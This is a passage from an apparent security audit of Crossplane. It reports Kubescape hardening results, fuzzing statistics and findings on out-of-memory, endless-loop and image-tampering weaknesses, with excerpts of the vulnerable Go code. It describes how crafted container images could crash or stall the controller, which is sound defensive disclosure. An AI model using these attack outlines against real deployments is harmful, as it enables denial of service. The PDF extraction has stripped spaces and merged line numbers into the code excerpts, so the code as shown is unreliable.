ion\nwhere\nthey\nbreach\ncontractual\nagreements\nwith\ntheir\npartners,\nthus\nmaking\nthem\nvulnerable\nto\nlegal\naction.\n4\nhttps://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters\n3\nhttps://unit42.paloaltonetworks.com/cryptojacking-docker-images-for-mining-monero/\n2\nhttps://blog.aquasec.com/container-vulnerability-dzmlt-dynamic-container-analysis\n1\nhttps://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-cont \nainer-images-cryptocurrency-miningSteal\nsecrets\nAttackers\nmay\nseek\nto\nsteal\nsecrets\nfrom\nCrossplane\nusers\nto\nobtain\nconfidential,\nhigh-value\ndata\nor\naccess\nto\nother\nsystems\nthat\nthe\nuser\nmanages.C l u s t e r\nh a r d e n i n g\nAda\nLogics\nassessed\nCrossplaneʼs\nhardening\nagainst\nNSAʼs\nKubernetes\nhardening\nguide.\nWe\nused\nKubescape\n5\nto\nscan\nCrossplaneʼs\nYAML\nmanifests\nagainst\nKubescapeʼs\nNSA\nframework\nsetting.\nCrossplane\nscores\nat\n100%\ncompliance\nagainst\nNSAʼs\nKubernetes\nhardening\nguide,\nmeaning\nthat\nno\nresources\nfailed\nwith\nsecurity\nissues\nof\nany\nkind.\nThese\nare\nthe\nfindings\nfrom\nKubescape\nagainst\nboth\nCrossplane\nand\nCrossplane-runtime.\nControls:\n24\n(Failed:\n0,\nPassed:\n24,\nAction\nRequired:\n0\nFailed\nResources\nby\nSeverity:\nCritical\n—\n0,\nHigh\n—\n0,\nMedium\n—\n0,\nLow\n—\n0\nSeverity\nControl\nname\nFailed\nresources\nAll\nResources\n%\nCompliance-score \n(if\nfailed)\nCritical\nAPI\nserver\ninsecure\nport\nis\nenabled\n0\n0\n-1%\nCritical\nDisable\nanonymous\naccess\nto \nKubelet\nservice\n0\n0\n-1%\nCritical\nEnforce\nKubelet\nclient\nTLS \nauthentication\n0\n0\n-1%\nHigh\nResource\nlimits\n0\n0\n-1%\nHigh\nApplications\ncredentials\nin \nconfiguration\nfiles\n0\n0\n-1%\nHigh\nHost\nPID/IPC\nprivileges\n0\n0\n-1%\nHigh\nHostNetwork\naccess\n0\n0\n-1%\nHigh\nInsecure\ncapabilities\n0\n0\n-1%\nHigh\nPrivileged\ncontainer\n0\n0\n-1%\nHigh\nCVE-2021-25742-nginx-ingress-snip \npet-annotation-vu…\n0\n0\n-1%\nMedium\nExec\ninto\ncontainer\n0\n0\n-1%\nMedium\nNon-root\ncontainers\n0\n0\n-1%\nMedium\nAllow\nprivilege\nescalation\n0\n0\n-1%\nMedium\nIngress\nand\nEgress\nblocked\n0\n0\n-1%\nMedium\nAutomatic\nmapping\nof\nservice\n0\n0\n-1%\n5\nhttps://github.com/kubescape/kubescapeaccount\nMedium\nCluster-admin\nbinding\n0\n0\n-1%\nMedium\nContainer\nhostPort\n0\n0\n-1%\nMedium\nCluster\ninternal\nnetworking\n0\n0\n-1%\nMedium\nLinux\nhardening\n0\n0\n-1%\nMedium\nCVE-2021-25741\n-\nUsing\nsymlink\nfor \narbitrary\nhost\n...\n0\n0\n-1%\nMedium\nSecret/ETCD\nencryption\nenabled\n0\n0\n-1%\nMedium\nAudit\nlogs\nenabled\n0\n0\n-1%\nLow\nImmutable\ncontainer\nfilesystem\n0\n0\n-1%\nLow\nPSP\nenabled\n0\n0\n-1%\nResource\nSummary\n0\n0\n0.00%\nWe\nrecommend\nCrossplane\nto\nintegrate\nKubescape\ninto\nCrossplane’s\nCI\npipeline\nto\nmaintain\nthe\nsame\nhigh\nstandard\nover\ntime.Fuzzing\nCrossplane\nhas\na\nfuzzing\nsuite\ncovering\nboth\nthe\nCrossplane\nmain\nrepository\nas\nwell\nas\nthe\nCrossplane-runtime\nrepository.\nThe\nfuzzers\nrun\ncontinuously\non\nOSS-Fuzz,\nwhich\nruns\nthe\nfuzzers\naround\n143\nbillion\ntimes\nevery\nmonth.\nOSS-Fuzz\nfuzzing\nstats\nfrom\n30th\nApril\nto\n30th\nMay\n2023:\nFuzzer\nname\n#\nof\ntimes\nexecuted\n(millions)\nFuzzing\nhours\nFuzzDag\n29,548\n1,642.6\nFuzzFindXpkgInDir\n8,715\n1,188.2\nFuzzForCompositeResourceClaim\n18,778\n1,143.8\nFuzzForCompositeResourceXcrd\n24,347\n1,349.7\nFuzzNewCompositionRevision\n4,532\n1,147.4\nFuzzPackageRevision\n16,263\n1,288.5\nFuzzParse\n1,492\n1,500.3\nFuzzPatchApply\n500\n1,017.3\nFuzzPropagateConnection\n17,782\n1,079.9\nFuzzTransform\n21,525\n1,354\nTotal\n143,482\n12,711.7\nAn\nimportant\nelement\nof\nfuzzing\nis\ncontinuity:\nThe\nfuzzers\nneed\nto\nkeep\nrunning\nto\nkeep\ntesting\nfor\nbugs\nand\nbuild\nup\ntheir\ncorpora.\nCrossplaneʼs\nOSS-Fuzz\nbuild\nhas\nhad\nno\ndowntime\nsince\nthe\ncompletion\nof\nits\nfuzzing\naudit\n6\n.\nCrossplane\nmaintains\nthe\nfuzzers\nin\nthe\nCrossplane\nand\nCrossplane-runtime\nrepositories\nwhich\nallows\nthe\nmaintainers\nto\nquickly\nfix\nany\nbreakages\nshould\nthey\narise.\nIn\naddition\nto\nthe\nfuzzers\nrunning\ncontinuously\nby\nway\nof\nOSS-Fuzz,\nCrossplane\nalso\nruns\nthem\nin\nthe\nCI\npipeline\nthrough\nOSS-Fuzzʼs\nCIFuzz\n7\non\npull\nrequests.\nAs\nsuch,\nthe\nfuzzers\ntest\nfor\nlow-hanging,\neasy-to-find\nissues\non\npull\nrequests\nbefore\nthey\nare\nmerged\ninto\nthe\nproject.\nAn\nadvantage\nof\nusing\nOSS-Fuzzʼs\nCIFuzz\nis\nthat\nit\nstarts\nthe\nfuzz\njob\nwith\nthe\nfull\ncorpus\nthat\nOSS-Fuzz\nhas\naccumulated,\nthereby\nallowing\nthe\nfuzzers\nto\nreach\nfar\ninto\ntheir\ntargets\nat\nevery\nrun.\n7\nhttps://google.github.io/oss-fuzz/getting-started/continuous-integration/\n6\nhttps://blog.crossplane.io/fuzzing-security-audit/ADA\nLogics\nadded\n4\nnew\nfuzzers\nto\nCrossplaneʼs\nfuzzing\nsuite\nand\nimproved\ntheFuzzDag\nfuzzer\nby\nincreasing\nits\ncoverage.\nNew\nfuzzers\nFuzzPTFComposer\nAdds\na\nfuzzer\nthat\ncalls\nseveral\nAPIs\nin\nthe\nsame\norder\nthat\nthe\ncomposite\ncontroller\ndoes.\nTests\nif\nany\nof\nthe\nAPIs\ncan\nbe\ndisrupted\nin\na\nproduction-like\nscenario.\nPR:\nhttps://github.com/crossplane/crossplane/pull/4198\nFuzzRevisionControllerPackageHandling\nTests\nthe\nRevision\ncontrollers\nhandling\nof\nCrossplane\npackages.\nThe\nfuzzerscreates\na\nRevision\nand\nresolves\nits\ndependencies.\nPR:\nhttps://github.com/crossplane/crossplane/pull/4199\nFuzzRenderClusterRoles\nTests\nthe\nRBAC\nmanagers\nrendering\nof\ncluster\nroles.\nPR:\nhttps://github.com/crossplane/crossplane/pull/4201\nFuzzRenderRoles\nTests\nthe\nRBAC\nmanagers\nrendering\nof\ncluster\nroles.\nPR:\nhttps://github.com/crossplane/crossplane/pull/4202\nImproved\nfuzzers\nAda\nLogics\nadded\nmore\ncalls\nto\nthe\nDAG\nfuzzer\nwhich\nwere\nnot\ncovered\nprior\nto\nthe\nsecurity\naudit.\nThis\nimprovement\nresulted\nin\nincreased\ncoverage.\nPR:\nhttps://github.com/crossplane/crossplane/pull/4200Issues\nfound\nHere\nwe\npresent\nthe\nissues\nthat\nwe\nidentified\nduring\nthe\naudit.\n#\nID\nTitle\nSeverity\nFixed\n1\nADA-XP-23-1\nDenial\nof\nservice\nfrom\n3rd-party \nvulnerability\nModerate\nYes\n2\nADA-XP-23-2\nPossible\nOOM\nin\ninternal/xpkg\nLow\nYes\n3\nADA-XP-23-3\nPossible\nOOM\nwhen\nreading\nXfn \ncommand\noutput\nLow\nYes\n4\nADA-XP-23-4\nPossible\nOOM\nwhen\nreading\nXfn \ncommand\noutput\nLow\nYes\n5\nADA-XP-23-5\nDockerfiles\ndo\nnot\nfollow\nbest\npractices \nregarding\nCOPY\nvs\nADD\nLow\nYes\n6\nADA-XP-23-6\nInsufficient\ndocumentation\non\nsecurity \nimplications\nof\nusing\ntags\nfor\nremote \nimages\nLow\nYes\n7\nADA-XP-23-7\nCrossplaneʼs\nOCI\nstore\ndoes\nnot\nvalidate \nfor\ninvariants\nin\nimages\nModerate\nNo\n8\nADA-XP-23-8\ngPRC\nconnection\nnot\nclosed\nLow\nYes\n9\nADA-XP-23-9\nPossible\nendless\ndata\nattack\nin \nCrossplaneʼs\nImage\nbackend\nModerate\nYes\n10\nADA-XP-23-10\nDenial\nof\nservice\nfrom\nmalicious \nCrossplane\npackage\nModerate\nYes\n11\nADA-XP-23-11\nPossible\nimage\ntampering\nfrom\nmissing \nimage\nvalidation\nHigh\nYes\n12\nADA-XP-23-12\nPossible\nendless\ndata\nattack\nin \nProviderRevision\ncontroller\nModerate\nYes\n13\nADA-XP-23-13\nPossible\nendless\ndata\nattack\nin \nCrossplaneʼs\nOCI\nstore\nI\nModerate\nYes\n14\nADA-XP-23-14\nPossible\nendless\ndata\nattack\nin \nCrossplaneʼs\nOCI\nstore\nII\nModerate\nYes\n15\nADA-XP-23-15\nPossible\nendless\ndata\nattack\nin \nCrossplaneʼs\nOCI\nstore\nIII\nModerate\nYes\n16\nADA-XP-23-16\nDenial\nof\nservice\nfrom\nlarge\nimage\nLow\nYesIssues\nfound\nin\nalpha\nfeatures\nSeveral\nof\nthe\nissues\nwere\nfound\nin\nalpha\ncomponents\nof\nCrossplane.\nThese\nissues\nhave\nbeen\nscored\nby\nthe\nsame\nmetrics\nas\nissues\nfound\nin\nnon-alpha\ncomponents.\nThe\nissues\nfound\nin\nalpha\ncomponents\nare:\n#\nID\nTitle\nSeverity\nFixed\n3\nADA-XP-23-3\nPossible\nOOM\nwhen\nreading\nXfn \ncommand\noutput\nLow\nYes\n4\nADA-XP-23-4\nPossible\nOOM\nwhen\nreading\nXfn \ncommand\noutput\nLow\nYes\n7\nADA-XP-23-7\nCrossplaneʼs\nOCI\nstore\ndoes\nnot\nvalidate \nfor\ninvariants\nin\nimages\nModerate\nNo\n8\nADA-XP-23-8\ngPRC\nconnection\nnot\nclosed\nLow\nYes\n13\nADA-XP-23-13\nPossible\nendless\ndata\nattack\nin \nCrossplaneʼs\nOCI\nstore\nI\nModerate\nYes\n14\nADA-XP-23-14\nPossible\nendless\ndata\nattack\nin \nCrossplaneʼs\nOCI\nstore\nII\nModerate\nYes\n15\nADA-XP-23-15\nPossible\nendless\ndata\nattack\nin \nCrossplaneʼs\nOCI\nstore\nIII\nModerate\nYes\nCVEs\nThe\nfollowing\nissues\nwere\nassigned\nCVEs:\n#\nID\nTitle\nCVE\nSeverity\n11\nADA-XP-23-11\nPossible\nimage\ntampering\nfrom \nmissing\nimage\nvalidation\nCVE-2023-38495\nHigh\n16\nADA-XP-23-16\nDenial\nof\nservice\nfrom\nlarge\nimage\nCVE-2023-37900\nLowA D A - X P - 2 3 - 1 :\nD e n i a l\no f\ns e r v i c e\nf r o m\n3 r d - p a r t y\nv u l n e r a b i l i t y\nID\nADA-XP-23-1\nComponent\nCrossplane\nOCI\nstore\nSeverity\nModerate\nFixed:\nYes\nIf\nan\nattacker\ncan\ncause\nCrossplane\nto\nfetch\nan\nimage\nwith\na\nmaliciously-cra\u0000ed\nmanifest,\nthe\nattacker\ncan\ncause\na\nDoS\ncondition\nfor\nCrossplane\nfrom\nan\nunrecoverable\nOOM\npanic.\nThis\nwill\ncrash\nthe\nCrossplane\ncontroller\nand\nwill\ncause\na\ntemporary\nDoS\nof\nthe\nnode\naffecting\nother\nservices.\nThe\nroot\ncause\nof\nthe\nissue\nwas\nin\na\n3rd-party\ndependency.\nThe\nissue\nhas\nbeen\nfixed.\nAda\nLogics\nhas\nrequested\nissuance\nof\na\nCVE\nwhich\nhas\nnot\nbeen\nconfirmed.\nThe\nattacker\nwill\nneed\nto\ncompromise\nthe\nregistry\nfrom\nwhich\nCrossplane\nfetches\nan\nimage\nor\nby\ntricking\nthe\nCrossplane\nuser\ninto\nconsuming\nan\nimage\nby\nway\nof\ndependency\nconfusion\nor\ntyposquatting\nattack\nvectors.\nTo\nlaunch\na\ntargeted\nattack,\nthe\nthreat\nactor\nwill\nneed\nto\nknow\nwhich\nimages\ntheir\nvictim\nconsumes\nin\ntheir\nCrossplane\ndeployment.\nAlternatively,\nthey\ncan\nlaunch\na\nnon-targeted\nattack\nby\ncompromising\nimages\nof\npopular\nand\nwidely-used\nimages.\nOnce\nthe\nattacker\nhas\ncompromised\nthe\nregistry,\nthe\nattack\nvector\nis\nfairly\nsimple,\nand\ncra\u0000ing\nthe\nmalicious\nmanifest\nis\ntrivial.A D A - X P - 2 3 - 2 :\nP o s s i b l e\nO O M\ni n\ni n t e r n a l / x p k g\nID\nADA-XP-23-2\nComponent\nCrossplane\nPackages\nSeverity\nLow\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4232\ngithub.com/crossplane/crossplane/blob/master/internal/xpkg.Build()\nis\nsusceptible\nto\nan\nOOM\ncondition\non\nthe\nhighlighted\nline\nbelow\nifbuf\non\nthe\nhighlighted\nline\ncontains\na\nlarge\nbuffer.\nhttps://github.com/crossplane/crossplane/blob/498b2fcbcc5323676d48048944e8a2a6d67cd87a/i\nnternal/xpkg/build.go#L82-L117\n82\n8384858687888990919293949596979899100101102103104105106107108109110111112113114funcBuild(ctxcontext.Context,bparser.Backend,pparser.Parser,lparser.Linter)(v1.Image,error){//GetYAMLstream.r,err:=b.Init(ctx)iferr!=nil{returnnil,errors.Wrap(err,errInitBackend)}deferfunc(){_=r.Close()}()\n//Copystreamoncetoparseandoncewritetotarball.buf:=new(bytes.Buffer)pkg,err:=p.Parse(ctx,annotatedTeeReadCloser(r,buf))iferr!=nil{returnnil,errors.Wrap(err,errParserPackage)}iferr:=l.Lint(pkg);err!=nil{returnnil,errors.Wrap(err,errLintPackage)}\n//Writeon-diskpackagecontentstotarball.tarBuf:=new(bytes.Buffer)tw:=tar.NewWriter(tarBuf)\nhdr:=&tar.Header{Name:StreamFile,Mode:int64(StreamFileMode),Size:int64(buf.Len()),}iferr:=tw.WriteHeader(hdr);err!=nil{returnnil,errors.Wrap(err,errTarFromStream)}if_,err=io.Copy(tw,buf);err!=nil{returnnil,errors.Wrap(err,errTarFromStream)}115116117iferr:=tw.Close();err!=nil{returnnil,errors.Wrap(err,errTarFromStream)}\nIn\nthe\ncase\nof\nan\nexcessively\nlargebuf\non\nline\n112,\nGo\nwill\nperform\na\nsigkill,\nbut\nbefore\ndoing\nso,\nthe\nmachine\nrunning\nCrossplane\nwill\nexperience\na\ntemporary\nDoS\ncondition\nthat\nwill\naffect\nother\nservices\nas\nwell.A D A - X P - 2 3 - 3 :\nP o s s i b l e\nO O M\nw h e n\nr e a d i n g\nX f n\nc o m m a n d\no u t p u t\nID\nADA-XP-23-3\nComponent\nComposite\nFunctions\nSeverity\nLow\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4217\nThis\nissue\naffects\nan\nalpha\nfeature\nin\nCrossplane.\nIf\nan\nattacker\ncan\ncontrol\nthe\ninput\nto\nan\nXfn,\nthey\ncan\ntrigger\nan\nOOM\nDoS\nissue.\nThe\nattacker\nwould\nneed\nto\ncause\nthe\nXfn\nto\ncreate\na\nlarge\nStdout\nbuffer,\nand\nthe\nOOM\nwould\nhappen\nwhen\nCrossplane\nreads\nit\nentirely\ninto\nmemory\non\nthe\nhighlighted\nline:\nhttps://github.com/crossplane/crossplane/blob/b01a0f8c0830f038514714baf24deb7ef21bbad4/c\nmd/xfn/spark/spark.go#L81\n81...132\n133134135136137138139\n140141142143144145146147148...157\n158159160161162func(c*Command)Run()error{...p:=oci.NewCachingPuller(h,store.NewImage(c.CacheDir),&oci.RemoteClient{})img,err:=p.Image(ctx,r,FromImagePullConfig(req.GetImagePullConfig()))iferr!=nil{returnerrors.Wrap(err,errPull)}\n//CreateanOCIruntimebundleforthiscontainerrun.b,err:=s.Bundle(ctx,img,runID,FromRunFunctionConfig(req.GetRunFunctionConfig()))iferr!=nil{returnerrors.Wrap(err,errBundleFn)}\nroot:=filepath.Join(c.CacheDir,ociRuntimeRoot)iferr:=os.MkdirAll(root,0700);err!=nil{_=b.Cleanup()returnerrors.Wrap(err,errMkRuntimeRootdir)}...cmd:=exec.CommandContext(ctx,c.Runtime,\"--root=\"+root,\"run\",\"--bundle=\"+b.Path(),runID)cmd.Stdin=bytes.NewReader(req.GetInput())\nout,err:=cmd.Output()iferr!=nil{_=b.Cleanup()163164165166167168169170171172173174175176returnerrors.Wrap(err,errRuntime)}iferr:=b.Cleanup();err!=nil{returnerrors.Wrap(err,errCleanupBundle)}\nrsp:=&v1alpha1.RunFunctionResponse{Output:out}pb,err=proto.Marshal(rsp)iferr!=nil{returnerrors.Wrap(err,errMarshalResponse)}_,err=os.Stdout.Write(pb)returnerrors.Wrap(err,errWriteResponse)}A D A - X P - 2 3 - 4 :\nP o s s i b l e\nO O M\nw h e n\nr e a d i n g\nX f n\nc o m m a n d\no u t p u t\nID\nADA-XP-23-4\nComponent\nComposite\nFunctions\nSeverity\nLow\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4217\nThis\nissue\naffects\nan\nalpha\nfeature\nin\nCrossplane.\nThis\nissue\nis\nsimilar\nto\nADA-XP-23-3\nin\nroot\ncause,\nattack\nvector\nand\nimpact.\nhttps://github.com/crossplane/crossplane/blob/b01a0f8c0830f038514714baf24deb7ef21bbad4/internal/xfn\n/container_linux.go#L83\n83\n...\n138139140141142143144145146147148149150151152153...157158159160...163164165166167168func(r*ContainerRunner)RunFunction(ctxcontext.Context,req*v1alpha1.RunFunctionRequest)(*v1alpha1.RunFunctionResponse,error){...\nstdio,err:=StdioPipes(cmd,r.rootUID,r.rootGID)iferr!=nil{returnnil,errors.Wrap(err,errCreateStdioPipes)}\nb,err:=proto.Marshal(req)iferr!=nil{returnnil,errors.Wrap(err,errMarshalRequest)}iferr:=cmd.Start();err!=nil{returnnil,errors.Wrap(err,errStartSpark)}if_,err:=stdio.Stdin.Write(b);err!=nil{returnnil,errors.Wrap(err,errWriteRequest)}\niferr:=stdio.Stdin.Close();err!=nil{returnnil,errors.Wrap(err,errCloseStdin)}\nstdout,err:=io.ReadAll(stdio.Stdout)iferr!=nil{returnnil,errors.Wrap(err,errReadStdout)}\nstderr,err:=io.ReadAll(stdio.Stderr)169170171172...180iferr!=nil{returnnil,errors.Wrap(err,errReadStderr)}\n...}A D A - X P - 2 3 - 5 :\nD o c k e r fi l e s\nd o\nn o t\nf o l l o w\nb e s t\np r a c t i c e s\nr e g a r d i n g\nC O P Y\nv s\nA D D\nID\nADA-XP-23-5\nComponent\nCrossplane\nCluster \nImages\nSeverity\nLow\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4173\nDockers\nbest\npractices\ndocumentation\nrecommends\nusingCOPY\ninstead\nofADD\n:\nhttps://docs.docker.com/develop/develop-images/dockerfile_best-practices/#add-or-copy\nCrossplane\ndoes\nnot\nfollow\nthis\nbest\npractices\nthe\nfollowing\nplaces:\nhttps://github.com/crossplane/crossplane/blob/192a09266e10f1873020201043b5782cdef8ce8f/clu\nster/images/xfn/Dockerfile\n14ADDbin/${TARGETOS}\\_${TARGETARCH}/xfn/usr/local/bin/\nhttps://github.com/crossplane/crossplane/blob/19be2ce66814569829d13e9ecc3ba2cfc6b245bb/cl\nuster/images/crossplane/Dockerfile\n67ADDbin/$TARGETOS\\_$TARGETARCH/crossplane/usr/local/bin/ADDcrds/crds\nA D A - X P - 2 3 - 6 :\nI n s u \u0000 c i e n t\nd o c u m e n t a t i o n\no n\ns e c u r i t y\ni m p l i c a t i o n s\no f\nu s i n g\nt a g s\nf o r\nr e m o t e\ni m a g e s\nID\nADA-XP-23-6\nComponent\nCrossplane \nDocumentation\nSeverity\nLow\nFixed\nin:\nhttps://github.com/crossplane/docs/pull/465\nThe\nCrossplane\ndocumentation\nrecommends\nreferencing\nimages\nwith\ndigests\nrather\nthan\ntags.\nHowever,\nthe\ndocumentation\ndoes\nnot\nmention\nthe\nsecurity\nconcerns\nof\nreferencing\nby\ntags.\nWhen\nreferencing\nan\nimage\nby\ntag,\nusers\nmay\nreceive\na\ndifferent\nimage\nthan\nthey\nexpect,\nand\nit\nis\nharder\nto\nvalidate\nthe\nreceived\nimage.\nThis\nmakes\nit\neasy\nfor\nan\nattacker\nto\ntamper\nwith\nan\nimage\nand\navoid\ndetection\nin\ncase\nof\na\nsuccessful\nattack\nagainst\nthe\nCrossplane\nuser.\nCrossplane\nusers\nconsuming\npackages\nfrom\na\nprivate\nregistry\nare\nalso\naffected\nby\nthis\nsince\nattackers\ncan\ncompromise\nthe\nregistry\nand\nchange\nthe\nunderlying\nimage\nthat\na\ntag\nrefers\nto.\nWe\nrecommend\nmaking\nit\nexplicit\nin\nthe\ndocumentation\nthat\nreferencing\nimages\nby\ntag\nhas\nconsiderate\nsecurity\ndownsides.A D A - X P - 2 3 - 7 :\nC r o s s p l a n e ’ s\nO C I\ns t o r e\nd o e s\nn o t\nv a l i d a t e\nf o r\ni n v a r i a n t s\ni n\ni m a g e s\nID\nADA-XP-23-7\nComponent\nCrossplaneʼs\nOCI\nstore\nSeverity\nModerate\nFixed:\nNo\nThis\nissue\naffects\nan\nalpha\nfeature\nin\nCrossplane.\nIt\nhas\nnot\nbeen\nfixed\nby\nthe\ncompletion\nof\nthe\nsecurity\naudit,\nbut\nCrossplane\nis\nworking\non\na\nfix\nhere:\nhttps://github.com/crossplane/crossplane/pull/4214\nCrossplaneʼs\nOCI\nstore\ndoes\nnot\nvalidate\nlayers,\nconfig\nand\nmanifests\nof\nimages.\nCrossplane\nuses\ngithub.com/google/go-containerregistry\nfor\nthe\nunderlying\nimage\ninterface.\ngo-containerregistry\nhas\na\nvalidation\nAPI\nfor\nimages\nwhich\nis\navailable\nhere:\nhttps://github.com/google/go-containerregistry/blob/ca48523123223c5ea478501e6cb1a9\n1a64a8a049/pkg/v1/validate/image.go#L30\n.\nThis\nAPI\nvalidates\nthe\nlayers,\nconfigs\nand\nmanifests\nof\nan\nimage\nand\nreturns\nan\nerror\nif\nany\nstep\nof\nthe\nvalidation\nfails.\nCrossplane\nuses\nthis\nvalidation\nAPI\nwhen\nwriting\na\nsupplied\nimage\nto\nthe\nOCI\nstore:\nhttps://github.com/crossplane/crossplane/blob/498b2fcbcc5323676d48048944e8a2a6d67cd87a/i\nnternal/oci/store/store.go#L158\n145146147148149150151152154154...158\n159func(i*Image)Image(hociv1.Hash)(ociv1.Image,error){uncompressed:=image{root:i.root,h:h}\n...//returnanerror.oi,err:=partial.UncompressedToImage(uncompressed)iferr!=nil{returnnil,errors.Wrap(err,errPartial)}\n...returnoi,errors.Wrap(validate.Image(oi,validate.Fast),errInvalidImage)}\nThis\nAPI\nis\ncalled\nin\nbefore\nwriting\nthe\nimage\nto\nthe\nlocal\nstore\nhere:https://github.com/crossplane/crossplane/blob/498b2fcbcc5323676d48048944e8a2a6d67cd87a/i\nnternal/oci/store/store.go#L168\n162163164165166167168169170171...216func(i*Image)WriteImage(imgociv1.Image)error{d,err:=img.Digest()iferr!=nil{returnerrors.Wrap(err,errGetDigest)}\nif_,err=i.Image(d);err==nil{//Imagealreadyexistsinthestore.returnnil}...}\nThis\nusage\nof\nthe\ngo-containerregistrys\nvalidation\nAPI\nwill\nnot\ncatch\nvalidation\nerrors,\nsince\nCrossplane\ndoes\nnot\ncatch\nerrors.\nAs\nsuch,\nif\nany\nlayers\nin\nthe\nimage\nhave\nbeen\ntampered\nwith,\nCrossplane\nwill\nnot\nvalidate\nand\ncatch\nthis\nto\nprevent\nthe\nuser\nfrom\nconsuming\nthe\nimage.A D A - X P - 2 3 - 8 :\ng P R C\nc o n n e c t i o n\nn o t\nc l o s e d\nID\nADA-XP-23-8\nComponent\nCrossplaneʼs\nOCI\nstore\nSeverity\nLow\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4174\nThis\nissue\nimpacts\nan\nalpha-feature\nin\nCrossplane.\nCrossplane\nkeeps\nthe\ngRPC\nconnection\nof\ncomposite\nfunctions\nopen\nin\ncase\nany\nof\nthe\npassed\noptions\nfail:\nhttps://github.com/crossplane/crossplane/blob/001d0577249ebb4fcb0d315bf7eb452d5dc5b1ad/i\nnternal/controller/apiextensions/composite/composition_ptf.go#L793-L820\n793\n794795796797789799800801802803804\n805806807808809810811812813814815816817818819820821822funcRunFunction(ctxcontext.Context,fnio*iov1alpha1.FunctionIO,fn*v1.ContainerFunction,o...ContainerFunctionRunnerOption)(*iov1alpha1.FunctionIO,error){in,err:=yaml.Marshal(fnio)iferr!=nil{returnnil,errors.Wrap(err,errMarshalFnIO)}\ntarget:=DefaultTargetiffn.Runner!=nil&&fn.Runner.Endpoint!=nil{target=*fn.Runner.Endpoint}\nconn,err:=grpc.DialContext(ctx,target,grpc.WithTransportCredentials(insecure.NewCredentials()))iferr!=nil{returnnil,errors.Wrap(err,errDialRunner)}\nreq:=&fnv1alpha1.RunFunctionRequest{Image:fn.Image,Input:in,ImagePullConfig:ImagePullConfig(fn),RunFunctionConfig:RunFunctionConfig(fn),}\nfor_,opt:=rangeo{iferr:=opt(ctx,fn,req);err!=nil{returnnil,errors.Wrap(err,errApplyRunFunctionOption)}}\nrsp,err:=823824825826827828829830831832...835836837fnv1alpha1.NewContainerizedFunctionRunnerServiceClient(conn).RunFunction(ctx,req)iferr!=nil{//TODO(negz):ParseanygRPCstatuscodes._=conn.Close()returnnil,errors.Wrap(err,errRunFnContainer)}\niferr:=conn.Close();err!=nil{returnnil,errors.Wrap(err,errCloseRunner)}\n...out:=&iov1alpha1.FunctionIO{}returnout,errors.Wrap(yaml.Unmarshal(rsp.Output,out),errUnmarshalFnIO)}A D A - X P - 2 3 - 9 :\nP o s s i b l e\ne n d l e s s\nd a t a\na t t a c k\ni n\nC r o s s p l a n e ’ s\nI m a g e\nb a c k e n d\nID\nADA-XP-23-9\nComponent\nCrossplaneʼs\nOCI\nstore\nSeverity\nModerate\nFixed\nin:\nhttps://github.com/crossplane/crossplane/pull/4348\nCrossplaneʼs\nimage\nbackend\nis\nsusceptible\nto\nan\nendless\ndata\nattack\nfrom\nan\nunrestricted\nloop\nthrough\nmanifest\nlayers\nin\nCrossplane\npackages.\nTo\nlaunch\nthis\nattack,\nthe\nattacker\nneeds\nto\ncra\u0000\nan\nimage\ncontaining\na\nmanifest\nwith\na\nhigh\nnumber\nof\nlayers.\nThen,\nthey\nneed\nto\neither\ncompromise\nthe\nregistry\nor\ntrick\nthe\nuser\ninto\nconsuming\nthe\nimage\nby\nway\nof\ndependency\nconfusion\nor\ntyposquatting\nattack\nvectors.\nThe\nimpact\nwill\nbe\nthat\nthe\nrevision\ncontroller\nwill\nbe\nstuck\nin\nan\ninfinite\nloop\nand\nbe\nprevented\nfrom\nfinishing\nthe\ntask\nand\ndoing\nother\nsubsequent\ntasks.\nThe\nissue\nhas\nits\nroot\ncause\nin\nthe\nimage\nbackend:\nhttps://github.com/crossplane/crossplane/blob/f32e27f375b0218ccaf49e072c5661d71f368131/int\nernal/controller/pkg/revision/imageback.go#LL94C1-L110C4\n9495\n96979899100101102103104105106107108\n109110//Fetchimagefromregistry.img,err:=i.fetcher.Fetch(ctx,ref,v1.RefNames(n.pr.GetPackagePullSecrets())...)iferr!=nil{returnnil,errors.Wrap(err,errFetchPackage)}//Getimagemanifest.manifest,err:=img.Manifest()iferr!=nil{returnnil,errors.Wrap(err,errGetManifest)}//Determineiftheimageisusingannotatedlayers.vartarcio.ReadCloserfoundAnnotated:=falsefor_,l:=rangemanifest.Layers{ifa,ok:=l.Annotations[layerAnnotation];!ok||a!=baseAnnotationValue{continue}\nAn\nattacker\ncan\nadd\na\nhigh\nnumber\nof\nlayers\nto\nthe\nmanifest\nwhich\ncan\ncause\nCrossplane\nto\ngo\ninto\nan\ninfinite\nloop.A D A - X P - 2 3 - 1 0 :\nD e n i a l\no f\ns e r v i c e\nf r o m\nm a l i c i o u s\nC r o s s p l a n e\np a c k a g e\nID\nADA-XP-23-10\nComponent\nRevision\nimage\nbackend\nSeverity\nModerate\nFixed\nin:\nhttps://github.com/google/go-containerregistry/pull/1742\nIf\nCrossplaneʼs\nimage\nbackend\ndoes\nnot\nfind\nan\nannotated\nfile,\nit\nwill\ncall\ngo-containerregistryʼsExtract()\nAPI\npassing\nthe\nfetched\nimage:\nhttps://github.com/crossplane/crossplane/blob/f32e27f375b0218ccaf49e072c5661d71f368131/int\nernal/controller/pkg/revision/imageback.go#L131-L133\n131132133if!foundAnnotated{tarc=mutate.Extract(img)}\nWhen\ngo-containerregistry\nextracts\nthe\nimage,\nit\ndecompresses\neach\nlayer\nand\nultimately\ncopies\nthe\ncontents\nfrom\na\ntar\nReader\nto\na\ntar\nWriter:\nhttps://github.com/google/go-containerregistry/blob/03b86570e60f261bf4a79b903d73e03cb8629\n10b/pkg/v1/mutate/mutate.go#L331-L340\n332332333334335336\n337338339340if!tombstone{iferr:=tarWriter.WriteHeader(header);err!=nil{returnerr}ifheader.Size>0{if_,err:=io.CopyN(tarWriter,tarReader,header.Size);err!=nil{returnerr}}}\nWhen\ncopying\nthe\nfile,\nthere\nis\nno\nupper\nlimit\nto\nthe\nfile\nsize\nwhich\nallows\nan\nattacker\nto\ncompress\na\nlarge\nlayer\nthat\nwill\ncrash\ngo-containerregistry\nand\nthereby\nCrossplane\nwith\nan\nout\nof\nmem